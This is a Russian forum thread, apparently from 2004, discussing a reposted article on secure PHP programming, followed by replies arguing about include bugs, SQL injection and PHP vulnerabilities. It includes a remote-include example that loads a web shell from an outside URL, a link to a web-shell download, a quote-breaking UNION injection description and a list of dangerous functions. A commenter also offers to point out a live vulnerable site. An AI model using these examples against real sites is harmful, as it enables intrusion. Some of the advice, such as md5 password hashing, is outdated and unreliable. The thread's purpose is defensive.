xntx
Правдо? Ну тогда ладно =) Буду спать спокойно =)
Правдо? Ну тогда ладно =) Буду спать спокойно =)
Потому, что одно и то же это только в ТЕКУЩЕЙ версии MySQL. Если в MySQL в будущих версиях изменятся правила, то будет изменена и функция mysql_escape_string, тогда как addslashes останется без изменений. Несмотря на низкую вероятность этого события нужно стараться всегда писать правильно, а не тоолько тогда, когда это немедленно приводит к катастрофе.
$mode=isset($_GET['mode']) ? addslashes($_GET['mode']) : NULL;
А вообще теоретически ведь можно вставить закрывающую кавычку и внедрить новый СКЛ код с помощью char() или нет?
обьяснись...
а то, ответ на твой вопрос таков: по дефолты все переменные NULL
а как ты вставишь функцию так, чтоб она выполнилась?
**********************************
Безопасное программирование на PHP
**********************************
Автор: Terabyte (http://www.web-hack.ru)
В этой статье я хочу рассказать основные принципы безопасного программирования на PHP. На написание статьи меня подтолкнул тот факт, что в интернете очень много статей о том как взламывать сайты через дыры в PHP-скрпитах, но очень мало советов (и все они разбросаны) как не делать ошибок, через которые сайт может быть взломан. Статью я решил разделить на несколько частей, каждая из которых посвящена какому то типу ошибок и примером, как этой ошибки избежать. В конце статьи я хочу дать общие советы. Так же хочу заметить, что в статье НЕТ конкретных примеров по взлому, а те кто хочет с ними познакомиться я отсылаю на очень хороший и большой архив - http://www.web-hack.ru/books/books.php?go=36 . В нем собрана большая коллекция статей посвященных взлому сайтов черех PHP-скрпиты. Итак, приступим.
===========
Include-баг
===========
Это очень старый и почти всем известный баг в скриптах, но к сожалению до сих пор очень актуальный. Ф-ция include() (ее аналог: inсlude_once()) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Наиболее частой ошибкой с этой ф-цей является код: include("$file") , а переменная $file берется из параметра к скрипту (например, qwe.php?file=index.php). Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.
Решением проблемы с Include-багом является отсутствие переменной передаваемой в запросе к скрипту, для инклуда. В таких случаях можно использовать конструкцию с оператором switch, например так:
switch ($case) // $case - имя переменной передаваемой в параметре к скрипту
{
case news:
include("news.php");
break;
case articles:
include("articles.php");
break;
... // и т.д.
default:
include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница
break;
}
Многие наивные программисты думают, что если они сделают конструкцию типа include("$file.php"), то их не смогут сломать. Они глубоко ошибаются! Во-первых, в старых версиях PHP (например, PHP<=4.0.3pl1) присутствовал баг null-byte (знакомый еще из Perl), который позволял отбросить расширение (да и вообще, что угодно после переменной) файла. Во-вторых, даже если версия PHP на сервере новая, то можно проинклудить любой php-файл на этом сервер (если хватит прав на его чтение), а это тоже не есть хорошо. Так что запомните совет: по возможности НИКОГДА не передавайте переменные через параметр к скрипту, которые потом будут участвовать в ф-ции include(). Я конечно понимаю, что можно сделать крутые фильтры на эту переменную, но как показывает практика - "Береженного - бог бережет". Все выше описанное, так же относится к ф-циям: fopen(), require(), require_once() и inсlude_once().
Так же рекомендуя в конфиге PHP устанавливать register_globals=off (начиная с версии 4.2.0 переменная выключена по умолчанию), т.к. если ваш движек использует модули и в каком то модуле есть строка include("$file") , а значение переменной $file задается не в этом модуле, а в главном файле, то хакер может передать $file через параметр к файлу модуля в браузере.
============
SQL-инъекции
============
Все больше и больше кодеров начинают делать в своих скриптах взаимодействие с базами данных. Как правило, используется MySQL (реже MSSQL). В данной статье я расскажу о мерах защиты PHP+MySQL, т.к. с MSSQL я не работаю и она дает куда больше возможностей для хакера, чем MySQL. Суть уязвимостей такого типа заключается в том, что через переменные которые передаются через параметр к скрипту и участвуют в SQL-запросе, злоумышленник может внедрить свой SQL-код и тем самым модифицировать запрос к БД. Я не буду подробно заострять внимание на самом принципе SQL-инъекций, а просто расскажу как их избежать. Тех, кто хочет узнать, как происходят SQL-инъекции, может прочитать о них тут (http://rst.void.ru/texts/sql-inj.txt). Приведу не большой пример:
SELECT * FROM table WHERE user='$go'
Допусти эта переменная $go передается как параметр к скрипту и выполняется SQL-комманда. Все бы хорошо, что хакер может в качестве значения к переменой передать user=lamer' (обратите внимание на кавычку) и сам закрыть условие, а далее внедрить через ф-цию UNION (эта ф-ция появилась с MySQL4, а значит в более ранних версиях инъкция не получится) другую команду SELECT и тем самым получить конфиденциальную информацию из базы (например, пароли) если узнает ее строение. Если бы после условия шли бы еще какие то другие условия (не нужные хакеру), то он бы их смог легко обрезать так "-" или так "/*" (эти символы в MySQL означают дальнейший комментарий). Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).
Для решения проблемы с SQL-инъекциями нам необходимо фильтровать передаваемые в SQL-комманде переменные. Это достигается следующими способами:
1) Никогда не забывайте ставить значения в кавычки (это пригодится нам для дальнейшей фильтрации переменных). Т.е. так user='$go' , а не так user=$go ! Кстати, если переменная является числом, то ее значение тоже можно указать в кавычках.
2) Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу:
$go=(int)$go; или $go=intval($go);
3) Если переменная не является числом, то нам нужно просто отследить отсутствие кавычек, этого можно добиться ф-цией mysql_escape_string() (ее аналог является addslashes()). Ф-ция предназначена для того, чтобы ставить слеш перед кавычкой (\'). Теперь даже если хакер попробует внедрить свой SQL-код, то он не выйдет за пределы кавычек.
Если вы являетесь параноиком, то можете сделать фильтрацию на основные ф-ции в MySQL, которые используются для инъекций: UNOIN и CHAR.
======
Советы
======
1) Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.
2) Никогда не делайте пароль на доступ к SQL-базе таким же, как и на FTP. А если у вас на хостинге по умолчанию так и сделано (пароли одинаковые), то требуйте от хостерах чтобы он сделал их разными, т.к. если хакер получит веб-шел на сервер и сможет прочесть конфиг с паролем к SQL-базе => сможет получить FTP-доступ.
3) Шифруйте все пароли доступа к различным закрытым зонам специальными ф-циями, например md5(). Если хакер сможет получить базу с такими паролями, то расшифровать их будет проблематично.
4) Следите за обновлениями самой версии PHP (http://www.php.net) и своевременно обновляйте ее при выходе новой стабильной версии, потому что не только PHP-код может таить в себе уязвимость, но и сам интерпретатор языка (я думаю все помнят о PHP 4.0.2-4.0.7 которая позволяла удаленно открыть веб-шел).
5) По возможности давайте не распространенные имена к конфигам с паролями (cfg.php и т.д., а не config.php или conf.php), т.к. это затруднит поиск конфигов с помощью поиска по файлам сервера (find / -name conf*) хакером.
6) Не пренебрегайте возможностью сделать HTTP-аутификацию средствами PHP, особенно если нет возможности это сделать на уровне Апача (.htaccess и .htpasswd). Более подробно о таком виде аутификации и других видах можете прочесть в серии статей "Авторизация доступа" (http://www.web-hack.ru/books/books.php?go=37).
7) По возможности держите ваш PHP в режиме safe mode (safe_mode=on). Так же советую вырубить инициализацию глобальных переменных (register_globals=off) и возможность fonen() открывать адреса из веба (allow_url_fopen=off). Еще можно запретить опасные ф-ции:
disable_functions=phpinfo,system,passthru
8) Если пишите гостевуху и т.п., то не забывайте ставить фильтрацию во всех формах (ник, мыло и т.д.) на теги с помощь ф-ции htmlspecialchars(). Кстати, если в теле сообщений нужно использовать теги, то лучше сделать свои (типа и т.д.), а не делать фильтры на запрещение не нужных.
9) Шифруйте исходники на PHP и особенно конфиги с помощью Zend Optimizer (http://www.zend.com).
==========
Заключение
==========
если у вас есть дополнение, исправление, нарекание и т.п. к этой статье, то жду ваших писем и сообщений на моем форуме. Обсуждение статьи проходит в данной теме (http://forum.web-hack.ru/index.php?showtopic=5831). Хочу выразить благодарность следующим лицам: 1dt.w0lf, LX и ru-board (форум).
=====[ Terabyte | http://www.web-hack.ru | 31.01.2004 ]=====
Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.
В таких случаях можно использовать конструкцию с оператором case,
Все выше описанное, так же относится к ф-циям: fonen(),
.к. с MSSQL я не работаю и она дает куда больше возможностей для хакера, чем MySQL.
Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).
Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу:
$go=(int)$go;
на основные ф-ции в MySQL, которые используются для инъекций: UNOIN и CHAR.
Шифруйте исходники на PHP и особенно конфиги с помощью Zend (http://www.zend.com).
интересно, а как это можно инклудить файлы с других серверов? это с каких пор?
If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using an URL (via HTTP or other supported wrapper - see Appendix I for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using an URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.
хм, а что в mysql нельзя вставить символ ";"Не знаю как там с mssql_query(), но c mysql_query() нельзя использовать в одном запросе ; http://ru.php.net/mysql_query Комменты юзеров - там и описание этого, и способы обхода.
Не знаю как там с mssql_query(), но c mysql_query() нельзя использовать в одном запросе ; http://ru.php.net/mysql_query Комменты юзеров - там и описание этого, и способы обхода.
интересно, а как это можно инклудить файлы с других серверов? это с каких пор?
а может все таки надо использовать "switch"?
очепятка: fopen()
убедительная просьба: расскажи чем это mssql хуже mysql?
м, а что в mysql нельзя вставить символ ";"
или $go = intval($go);...
1. блин, как задалбывают твои сокращения типа "ф-ции"... ты статью пишешь или смску?
2. всетаки, обьясни что ты с char хочешь делать??
скорее всего т хотел сказать с помощью "Zend Optimizer"...
вобщем мое мнение: статья - фигня. оценка - 2 балла
эм, значит так... файл не инклудится, а инклудится его результат, совсем разные вещи.
кинуть в ПМ кокретный сайт с такой уязвимотью на котормо я шелл с правами апача этим имею?
кавычку чаром ставить можно
Ну начиная тем, что ;
в за просах mysql_query() нельзя.
Вот для примера - http://www.securitylab.ru/41501.html
да плиз, просто интересно
да нельзя ее вставить, пойми, если кавычку чаром вставим, то она кавычкой станет уже после обработки запроса, так что нам это не пойдет...
уже не хуже, уже везде есть mysql 4.0 UNION;)
там mysql , а вот теперь я тебе обьясню зачем там чар: а он там нужен чтоб вернуть скрипту значение с кавычкой, а не для того запустить sql с кавычкой, вот вобщем:
делаем запрос:
3. добавить межсайтовый скриптинг
Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.
По возможности держите ваш PHP в режиме safe mode (safe_mode=on).
и возможность fonen() открывать адреса из веба (allow_url_fopen=off).
Еще можно запретить опасные ф-ции:
disable_functions=phpinfo,system,passthru
8) Если пишите гостевуху и т.п., то не забывайте ставить фильтрацию во всех формах (ник, мыло и т.д.) на теги с помощь ф-ции htmlspecialchars(). Кстати, если в теле сообщений нужно использовать теги, то лучше сделать свои (типа ... и т.д.), а не делать фильтры на запрещение не нужных.
2. убрать спорные выражения, типа mssql лечге хакнуть чем mysql итп
на самом деле это можно решить Unix правами, правда не все хостеры правильно настраивают свои сервера
ну с этим ты погорячился, safe_mode слишком мало позволяет, чтобы пускать на нем серьезные скрипты.
опять перебор, во первых exec пропустил, во вторых я phpinfo иногда использую при отладки скрипта на сервере (не всегда же помнить конфигурацию )
здесь вообще все просто. strip_tags($text, '<br><b><i><u>') и не надо изобретать псевдо-язык разметки.
Флеймообразующие врядли кто-нибудь будет спорить, что чем сложнее программа тем больше вероятности совершить ошибку. а если посмотреть как часто выходят релизы mysql 3 ветки, и mssql, то создается ощущение что MS пишет идеально защищенные проги, в которых после релиза не находят ни одной дырки... сорри на флейм потянуло
эм, значит так... файл не инклудится, а инклудится его результат, совсем разные вещи.Ну да - только в мане это все равно называют инклудом.
вобщем это тоже самое что и называть дырой то, что программер создает файл config.txt (а то и config.htm) в котором он будет хранить пароли к mysql...Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.
сам никогда не пробовал, просто знаю что через такие вещи как mysql admin можно запустить сразу два квери...Через mysql admin можно, но они там специально обрабатывают запросы с точкой запятой. Просто так нельзя.
Ну да - только в мане это все равно называют инклудом.
Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.
Я не понял, что ты этим хочешь сказть =)
а как мне интересно стало увидить в живую удаленный инклуд... жуть
Кокраз файл инклудится.Вообщем проблема в терминологии. Как на самом деле происходит доступно напиано в мане.
Ну да алдно нет, еще как есть. Уже дофига критических нашли. почитай багтраки. Забыл что ли о эксплоите от Тесо?Отлично. Впред - сломай-ка php.net.
Отлично. Впред - сломай-ка php.net.
Не, ну ты что. UNION на МНОГО безопаснее ; Его можно юзать толкьо с селектом + кол-во столбцов другой таблице и тип столбцов должны быть одинаковы
Да знаю я для чего там чар юзается, я просто для примера юзание этой ф-ции дал.
Кокраз файл инклудится.
Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.
Ну да алдно нет, еще как есть. Уже дофига критических нашли. почитай багтраки. Забыл что ли о эксплоите от Тесо?
а отдается результат, а если .txt или .html то все работает.
тааак, опят за старое. как ты с удаленного хоста будешь php файл инклудить? пожалуйста с примерами...
ну так, я уже сказал.,... что нормальный человек важную инфу не будет в txt хранить...
и вобще, у нас разные точки зрения, вы хотите инклудить файл с вашего хоста, а я говорю про удаленного файла. локальный файл нет смысла инклудить, т.к. если программист сайта нормален, то ты ничего локального не сможешь заинклудить...
и в конце концов, раз уже об этом говорим, давайте называть по разному разные вещи: инклуд исходного кода, и инклуд результата...
инклуд исходного кода, и инклуд результата...
тааак, опят за старое. как ты с удаленного хоста будешь php файл инклудить? пожалуйста с примерами...
в последнем php дыр нет.
на свой сайт выкладываю скрипт, который распечатывает значения каких нить переменных, с расширением .php и в .htaccess отключаю обработку php
Даже не обязателньо отключать php расширение, просто другое расширение можно файлу дать: txt, qwe, bla ...
т.к. если программист сайта нормален
Опасная уязвимость в PHP, связанная с возможностью удаленного выполнения произвольного кода
Опасная уязвимость обнаружена в PHP при компиляции с включенным параметром memory_limit. Удаленный пользователь может выполнить произвольный код на целевой системе.
Удаленный пользователь может представить специально сформированный HTTP POST запрос, чтобы перехватить процесс выделения памяти, пока Zend HashTables выделяется и инициализируется. Удаленный пользователь может представить специально обработанный HashTable destructor pointer и выполнить произвольный код на целевой системе.
Уязвимые версии: PHP 4.3.7 и более ранние. PHP 5.0.0RC3 и более ранние.
Для устранения проблемы рекомендуется установить обновленную версию программы (4.3.8 или 5.0): http://www.php.net/downloads.php
Предыдущая тема: WAP+PHP и русские буквы